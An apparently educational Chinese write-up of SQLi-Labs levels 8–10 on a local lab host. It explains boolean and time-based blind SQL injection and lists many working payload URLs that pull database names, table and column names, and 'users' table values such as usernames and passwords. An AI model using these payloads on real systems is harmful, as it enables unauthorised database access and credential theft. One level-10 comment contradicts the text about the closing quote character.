文章目录
1. SqliLab_Mysql_Injection详解_字符型注入(五)
1.1. SQL注入_时间盲注
1.1.1. 原理
当在服务器后台关闭了返回页面的错误回显或过滤了某些关键字,返回的网页只会返回一种状态(无法通过传统的布尔盲注(true or false)来判断了),这时候就需要用到时间盲注了,时间盲注成功时,服务器会由于执行了构造语句中的sleep()函数,休眠一定的时间,再返回数据;通过观察浏览器客户端发送请求,到服务器返回页面的时间延迟,来判断sleep()函数之前的,构造语句的执行结果是否正确,从而判断出是否存在时间盲注,或者盲注payload返回结果是否等同于预期;
1.1.2. 常用的函数
- if(1,2,3):如果语句1为True,则执行语句2,否则执行语句3;
- sleep(x):执行时间延迟x秒;
- ascii(char):将char转换为对应的ascii码值
- substr(string,start,len):从string的start位开始截取len个字符;
- Benchmark(x,1):执行表达式1,x次(会消耗CPU,慎用);
EG:
> if(ascii(substr(查询语句,start,1))=97,sleep(3),1);
//ASCII查询语句执行成功时,执行sleep(3),休眠三秒;执行错误时,执行1;
2. SqliLab关卡(包含8,9,10)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
2.1. SqliLab-8(布尔盲注/时间盲注(单引号闭合)):
2.1.1. 初始界面
2.1.2. 判断注入点(关键步骤)
由初始界面显示知道,可以看到‘id’为输入参数,所以构造判断注入点链接;
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断;
EG:
> http://192.168.1.104/sql/Less-8/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
---------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试用(')代替()进行构造;
---------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
---------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数‘id’存在注入,闭合字符为【'】;
由此,判断出参数‘id’存在注入(or/xor一样),闭合字符为【’】;
EG:
判断服务器返回页面是否存在SQL语句报错信息提示;
> http://192.168.1.104/sql/Less-8/?id=1""" and 1=1 --+
//服务器返回页面正确(预期错误提示),尝试用(“))代替(""")进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1") and 1=1 --+
//服务器返回页面正确(预期错误提示),尝试用(“)))代替("))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1")) and 1=1 --+
//服务器返回页面正确(预期错误提示),尝试用()")代替(")))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1)" and 1=1 --+
//服务器返回页面正确(预期错误提示),尝试用())")代替()")进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1))" and 1=1 --+
//服务器返回页面正确(预期错误提示),尝试用(^%?)代替())")进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1^%? and 1=1 --+
//服务器返回页面正确(预期错误提示),尝试用(...)代替(^%?)进行构造;
--------------------------------------------------------------
...
经过尝试,服务器返回页面不存在SQL语句报错信息提示;
再次判断是否存在时间注入,通过判断出的闭合字符(’)进行尝试;
EG:
> http://192.168.1.104/sql/Less-8/?id=1' and if(1=1,sleep(4),1) --+
//服务器返回延迟为5秒(1秒查询,4秒休眠),尝试sleep(5);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and if(1=1,sleep(5),1) --+
//服务器返回延迟为6秒(1秒查询,5秒休眠),尝试sleep(7);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and if(1=1,sleep(7),1) --+
//服务器返回延迟为8秒(1秒查询,7秒休眠),尝试sleep(9);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and if(1=1,sleep(9),1) --+
//服务器返回延迟为10秒(1秒查询,9秒休眠),基本可以判断参数(id)存在时间注入;
经过测试,参数(id)存在时间注入;
在注入点判断过程中,可以发现,服务器在接受请求后,返回的页面存在无回显和无报错提示的情况,这时候如果再利用UNION联合查询法查看显位以及报错注入的方式就失效了,只能基于SQL语句的True or False进行盲注了(布尔盲注或者基于时间的盲注);
2.1.3. 收集信息
由于不存在服务器返回页面回显和报错情况,只能使用盲注的方式获取想要的信息;
EG:
布尔盲注(使用left(),length(),ascii(),substr()/substring()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and left(version(),1)='5' --+
//返回mysql版本的第一个字符,已查询到为(5);
----------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and ascii(substr(@@datadir,1,1))='71' --+
//返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G);
----------------------------------------------------------------------------------
...
EG:
时间盲注(使用left(),length(),ascii(),substr()/substring(),if(),sleep()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and if(left(version(),1)='5',sleep(5),1) --+
//返回mysql版本的第一个字符,已查询到为(5)(1秒查询,5秒休眠);
-------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-8/?id=1' and if(ascii(substr(@@datadir,1,1))='71',sleep(5),1) --+
//返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G)(1秒查询,5秒休眠);
-------------------------------------------------------------------------------------------------
查询到一些数据库信息如,数据库版本,数据库安装路径等;
2.1.4. 求当前数据库名(字符或者ASCII值)
布尔盲注(使用left()函数构造链接):
EG:
> http://192.168.1.104/sql/Less-8/?id=1' and left(database(),1)='s'--+
//返回当前数据库名的第一个字符,已查询到为(s);
----------------------------------------------------------------------
...
时间盲注(使用if(),ascii(),substr()/substring(),sleep()函数构造链接):
EG:
> http://192.168.1.104/sql/Less-8/?id=1' and if(ascii(substr(database(),1,1))='115',sleep(5),1)--+
//返回当前数据库名的第一个字符的ASCII值,已查询到为(115),转换字符为(s)(1秒查询,5秒休眠);
--------------------------------------------------------------------------------------------------
...
查询到当前数据库名的值为(security);
2.1.5. 求当前数据库中表的数量
EG:
布尔盲注(使用count()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and (select count(table_name) from information_schema.tables
where table_schema=database())=4--+
//返回当前数据库中表的数量,已查询到为(4);
EG:
时间盲注(使用if(),count(),sleep()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and if((select count(table_name) from information_schema.tables
where table_schema=database())=4,sleep(5),1)--+
//返回当前数据库中表的数量,已查询到为(4)(1秒查询,5秒休眠);
当前数据库中表的数量为(4);
2.1.6. 求当前数据库中的各个表的长度
EG:
布尔盲注(使用length()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and length((select table_name from information_schema.tables
where table_schema=database() limit 0,1))=6 --+
// 返回当前数据库中的第一个表的长度,已查询到为(6);
-----------------------------------------------------------------------------------------------------
...
EG:
时间盲注(使用if(),length(),sleep()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and if(length((select table_name from information_schema.tables
where table_schema=database() limit 0,1))=6,sleep(5),1) --+
// 返回当前数据库中的第一个表的长度,已查询到为(6)(1秒查询,5秒休眠);
--------------------------------------------------------------------------------------------------------
...
查询到当前数据库‘security’中的各个表的长度依次为(6,8,7,5);
2.1.7. 求当前数据库中的各个表的表名(字符或者ASCII值)
EG:
布尔盲注(使用left()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and left((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1)='e' --+
//返回当前数据库中的第一个表的表名的第一个字符;已查询到为(e);
---------------------------------------------------------------------------------------------------
...
EG:
时间盲注(使用if(),ascii(),substr()/substring(),sleep()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
--------------------------------------------------------------------------------------------------------------
//返回当前数据库中的第一个表的表名的第一个字符的ASCII值;已查询到为(101)转换字符为(e)(1秒查询,5秒休眠);
...
查询到‘security’数据库四个表的表名分别为(emails,referers,uagents,users);
2.1.8. 求‘users’表中的字段数量
EG:
布尔盲注(使用count()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and (select count(column_name) from information_schema.columns
where table_name='users')=3--+
//返回‘users’表中的字段数量,已查询到为(3);
EG:
时间盲注(使用if(),count(),sleep()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and if((select count(column_name) from information_schema.columns
where table_name='users')=3,sleep(5),1) --+
//返回‘users’表中的字段数量,已查询到为(3)(1秒查询,5秒休眠);
查询到users’表中的字段数量为(3);
2.1.9. 求‘users’表中的各个字段的长度
EG:
布尔盲注(使用length()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and length((select column_name from information_schema.columns
where table_name='users' limit 0,1))=2 --+
//返回‘users’表的第一个字段的长度,已查询到为(2);
-------------------------------------------------------------------------------------------------------
...
EG:
时间盲注(使用if(),length(),sleep()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and if(length((select column_name from information_schema.columns
where table_name='users' limit 0,1))=2,sleep(5),1) --+
//返回‘users’表的第一个字段的长度,已查询到为(2)(1秒查询,5秒休眠);
---------------------------------------------------------------------------------------------------------
...
查询到‘users’表中的各个字段的长度依次为(2,8,8);
2.1.10. 求‘users’表中的各个字段的值(字符或者ASCII值)
EG:
布尔盲注(使用left()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and left((select column_name from information_schema.columns
where table_name='users' limit 0,1),1)='i' --+
//返回‘users’表的第一个字段的第一个字符,已查询到为(i);
-----------------------------------------------------------------------------------------------------
...
EG:
时间盲注(使用if(),ascii(),substr(),sleep()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns
where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
//返回‘users’表的第一个字段的第一个字符的ASCII值,已查询到为(105),转换字符为(i)(1秒查询,5秒休眠);
----------------------------------------------------------------------------------------------------------------
...
查询到‘users’表中的三个字段的值依次为(id,username,password);
2.1.11. 求‘users’表中的各个字段的值的信息(字符或者ASCII值)
求‘users’表中的第一个字段‘id’的第一条信息;
EG:
布尔盲注(使用ascii(),substr()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and ascii(substr((select id from users limit 0,1),1,1))=49--+
//返回‘users’表的第一个字段‘id’的第一条信息的第一个字符的ASCII值,已查询到为(49),转换为字符为(1);
------------------------------------------------------------------------------------------------------
...
EG:
时间盲注(使用if(),ascii(),substr(),sleep()函数构造链接):
> http://192.168.1.104/sql/Less-8/?id=1' and if(ascii(substr((select id from users limit 0,1),1,1))=49,sleep(5),1)--+
//返回‘users’表的第一个字段‘id’的第一条信息的第一个字符的ASCII值,已查询到为(49),转换为字符为(1)(1秒查询,5秒休眠);
---------------------------------------------------------------------------------------------------------------------
...
同理对于字段(username,password)的值信息也是采取一样的方式进行查询,查询其他的值也是同上面的方法一致;到此,SQL注入(布尔盲注/时间盲注)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-8结束;
2.2. SqliLab-9(时间盲注(单引号闭合)):
2.2.1. 初始界面
2.2.2. 判断注入点(关键步骤)
由初始界面显示知道,可以看到‘id’为输入参数,所以构造判断注入点链接;
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断;
EG:
> http://192.168.1.104/sql/Less-9/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试用(')代替()进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and 1=2 --+
//服务器返回页面正确(预期错误),尝试用(")代替(')进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1" and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1" and 1=2 --+
//服务器返回页面正确(预期错误),尝试用())代替(")进行构造;
> http://192.168.1.104/sql/Less-9/?id=1) and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1) and 1=2 --+
//服务器返回页面正确(预期错误),尝试用('))代替())进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1') and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1') and 1=2 --+
//服务器返回页面正确(预期错误),尝试用("))代替('))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1") and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1") and 1=2 --+
//服务器返回页面正确(预期错误),经过尝试发现,所有尝试的结果,服务器返
//回的页面都是正确的, 考虑返回的页面可能只有一种返回结果,尝试是否存在
//时间注入存在,用符号字符进行尝试(故意构造错误的语句,查看服务器返回页
//面的情况),用(&*%^)代替("))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1&*%^ and 1=1--+
//服务器返回页面无改变(预期无改变),尝试用(@@$&!)代替(&*%^)进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1@@$&! and 1=1--+
//服务器返回页面无改变(预期无改变),尝试用(~~^@#)代替(@@$&!)进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1~~^@# and 1=1--+
//服务器返回页面无改变(预期无改变), 考虑对是否存在时间注入点,尝试用sleep()
//函数进行构造;
> http://192.168.1.104/sql/Less-9/?id=1 and if(1=1,sleep(4),1) --+
//服务器返回延迟为1秒,尝试用(')代替()进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and if(1=1,sleep(4),1) --+
//服务器返回延迟为5秒(1秒查询,4秒休眠),尝试sleep(5);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and if(1=1,sleep(5),1) --+
//服务器返回延迟为6秒(1秒查询,5秒休眠),尝试sleep(7);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and if(1=1,sleep(7),1) --+
//服务器返回延迟为8秒(1秒查询,7秒休眠),尝试sleep(9);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and if(1=1,sleep(9),1) --+
//服务器返回延迟为10秒(1秒查询,9秒休眠),基本可以判断参数(id)存在时间注入,
//闭合字符为(');
---------------------------------------------------------------------
...
经过尝试知道,参数id存在时间注入,且闭合字符为(’);
知道了注入点以及可以采用的注入方式后,就很好构造payload去获取想要获取的信息了,这里采用时间盲注的策略;
收集信息
EG:
使用left(),length(),ascii(),substr()/substring(),if(),sleep()函数构造链接:
> http://192.168.1.104/sql/Less-9/?id=1' and if(left(version(),1)='5',sleep(5),1) --+
//返回mysql版本的第一个字符,已查询到为(5)(1秒查询,5秒休眠);
-------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-9/?id=1' and if(ascii(substr(@@datadir,1,1))='71',sleep(5),1) --+
//返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G)(1秒查询,5秒休眠);
-------------------------------------------------------------------------------------------------
查询到一些数据库信息如,数据库版本,数据库安装路径等;
2.2.3. 求当前数据库名(字符或者ASCII值)
EG:
使用if(),ascii(),substr()/substring(),sleep()函数构造链接:
> http://192.168.1.104/sql/Less-9/?id=1' and if(ascii(substr(database(),1,1))='115',sleep(5),1)--+
//返回当前数据库名的第一个字符的ASCII值,已查询到为(115),转换字符为(s)(1秒查询,5秒休眠);
--------------------------------------------------------------------------------------------------
...
查询到当前数据库名的值为(security);
2.2.4. 求当前数据库中表的数量
EG:
使用if(),count(),sleep()函数构造链接:
> http://192.168.1.104/sql/Less-9/?id=1' and if((select count(table_name) from information_schema.tables
where table_schema=database())=4,sleep(5),1)--+
//返回当前数据库中表的数量,已查询到为(4)(1秒查询,5秒休眠);
当前数据库中表的数量为(4);
2.2.5. 求当前数据库中的各个表的长度
EG:
使用if(),length(),sleep()函数构造链接:
> http://192.168.1.104/sql/Less-9/?id=1' and if(length((select table_name from information_schema.tables
where table_schema=database() limit 0,1))=6,sleep(5),1) --+
// 返回当前数据库中的第一个表的长度,已查询到为(6)(1秒查询,5秒休眠);
--------------------------------------------------------------------------------------------------------
...
查询到当前数据库‘security’中的各个表的长度依次为(6,8,7,5);
2.2.6. 求当前数据库中的各个表的表名(字符或者ASCII值)
EG:
使用if(),ascii(),substr()/substring(),sleep()函数构造链接:
> http://192.168.1.104/sql/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
--------------------------------------------------------------------------------------------------------------
//返回当前数据库中的第一个表的表名的第一个字符的ASCII值;已查询到为(101)转换字符为(e)(1秒查询,5秒休眠);
...
查询到‘security’数据库四个表的表名分别为(emails,referers,uagents,users);
2.2.7. 求‘users’表中的字段数量
EG:
使用if(),count(),sleep()函数构造链接:
> http://192.168.1.104/sql/Less-9/?id=1' and if((select count(column_name) from information_schema.columns
where table_name='users')=3,sleep(5),1) --+
//返回‘users’表中的字段数量,已查询到为(3)(1秒查询,5秒休眠);
查询到users’表中的字段数量为(3);
2.2.8. 求‘users’表中的各个字段的长度
EG:
时间盲注(使用if(),length(),sleep()函数构造链接):
> http://192.168.1.104/sql/Less-9/?id=1' and if(length((select column_name from information_schema.columns
where table_name='users' limit 0,1))=2,sleep(5),1) --+
//返回‘users’表的第一个字段的长度,已查询到为(2)(1秒查询,5秒休眠);
----------------------------------------------------------------------------------------------------------
...
查询到‘users’表中的各个字段的长度依次为(2,8,8);
2.2.9. 求‘users’表中的各个字段的值(字符或者ASCII值)
EG:
使用if(),ascii(),substr(),sleep()函数构造链接:
> http://192.168.1.104/sql/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns
where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
//返回‘users’表的第一个字段的第一个字符的ASCII值,已查询到为(105),转换字符为(i)(1秒查询,5秒休眠);
----------------------------------------------------------------------------------------------------------------
...
查询到‘users’表中的三个字段的值依次为(id,username,password);
2.2.10. 求‘users’表中的各个字段的值的信息(字符或者ASCII值)
求‘users’表中的第一个字段‘id’的第一条信息;
EG:
使用if(),ascii(),substr(),sleep()函数构造链接:
> http://192.168.1.104/sql/Less-9/?id=1' and if(ascii(substr((select id from users limit 0,1),1,1))=49,sleep(5),1)--+
//返回‘users’表的第一个字段‘id’的第一条信息的第一个字符的ASCII值,已查询到为(49),转换为字符为(1)(1秒查询,5秒休眠);
--------------------------------------------------------------------------------------------------------------------
...
同理对于字段(username,password)的值信息也是采取一样的方式进行查询,查询其他的值也是同上面的方法一致;到此,时间盲注的基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-9结束;
2.3. SqliLab-10(时间盲注(双引号闭合)):
2.3.1. 初始界面
2.3.2. 判断注入点(关键步骤)
由初始界面显示知道,可以看到‘id’为输入参数,所以构造判断注入点链接;
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断;
EG:
> http://192.168.1.104/sql/Less-10/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试用(')代替()进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1' and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1' and 1=2 --+
//服务器返回页面正确(预期错误),尝试用(")代替(')进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and 1=2 --+
//服务器返回页面正确(预期错误),尝试用())代替(")进行构造;
> http://192.168.1.104/sql/Less-10/?id=1) and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1) and 1=2 --+
//服务器返回页面正确(预期错误),尝试用('))代替())进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1') and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1') and 1=2 --+
//服务器返回页面正确(预期错误),尝试用("))代替('))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1") and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1") and 1=2 --+
//服务器返回页面正确(预期错误),经过尝试发现,所有尝试的结果,服务器返
//回的页面都是正确的, 考虑返回的页面可能只有一种返回结果,尝试是否存在
//时间注入存在,用符号字符进行尝试(故意构造错误的语句,查看服务器返回页
//面的情况),用(&*%^)代替("))进行构造;
--------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1&*%^ and 1=1--+
//服务器返回页面无改变(预期无改变),尝试用(@@$&!)代替(&*%^)进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1@@$&! and 1=1--+
//服务器返回页面无改变(预期无改变),尝试用(~~^@#)代替(@@$&!)进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1~~^@# and 1=1--+
//服务器返回页面无改变(预期无改变), 考虑对是否存在时间注入点,尝试用sleep()
//函数进行构造;
> http://192.168.1.104/sql/Less-10/?id=1 and if(1=1,sleep(4),1) --+
//服务器返回延迟为1秒,尝试用(')代替()进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1' and if(1=1,sleep(4),1) --+
//服务器返回延迟为1秒,尝试用(")代替(')进行构造;
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and if(1=1,sleep(4),1) --+
//服务器返回延迟为5秒(1秒查询,4秒休眠),尝试sleep(5);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and if(1=1,sleep(5),1) --+
//服务器返回延迟为6秒(1秒查询,5秒休眠),尝试sleep(7);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and if(1=1,sleep(7),1) --+
//服务器返回延迟为8秒(1秒查询,7秒休眠),尝试sleep(9);
---------------------------------------------------------------------
> http://192.168.1.104/sql/Less-10/?id=1" and if(1=1,sleep(9),1) --+
//服务器返回延迟为10秒(1秒查询,9秒休眠),基本可以判断参数(id)存在时间注入,
//闭合字符为(');
---------------------------------------------------------------------
...
经过尝试知道,参数id存在时间注入,且闭合字符为(");
知道了注入点以及可以采用的注入方式后,就很好构造payload去获取想要获取的信息了,这里采用时间盲注的策略,具体流程和SqliLab-9的一模一样(只是payload的URL链接(9转变为10)和参数的字符闭合方式发生变化('转变为")),SqliLab-10结束;
3. 总结
通过多次对练习题的注入的经历,大概也简单了解了一些知识,如最开始的注入点的判断是非常的重要,确定了注入点,才能根据具体的条件选择快捷的注入方式获取数据库信息,同时,也知道在对字符型注入的注入点的判断是十分耗费时间的(闭合字符的组合方式以及根据服务器返回页面的情况调整判断payload等),可以考虑自行编写脚本进行注入点尝试,基本上注入点判断好后,后续的注入方式能很快的选择,以及payload都能很快构造出来了;基于时间的盲注,可以用于一些服务器返回页面没有差异的情况(比如登录界面,采集登录用户信息的模块页面,差异页面不是由URL中的SQL语句来决定的等)。
[如有错误,请指出,拜托了<( _ _ )> !!!]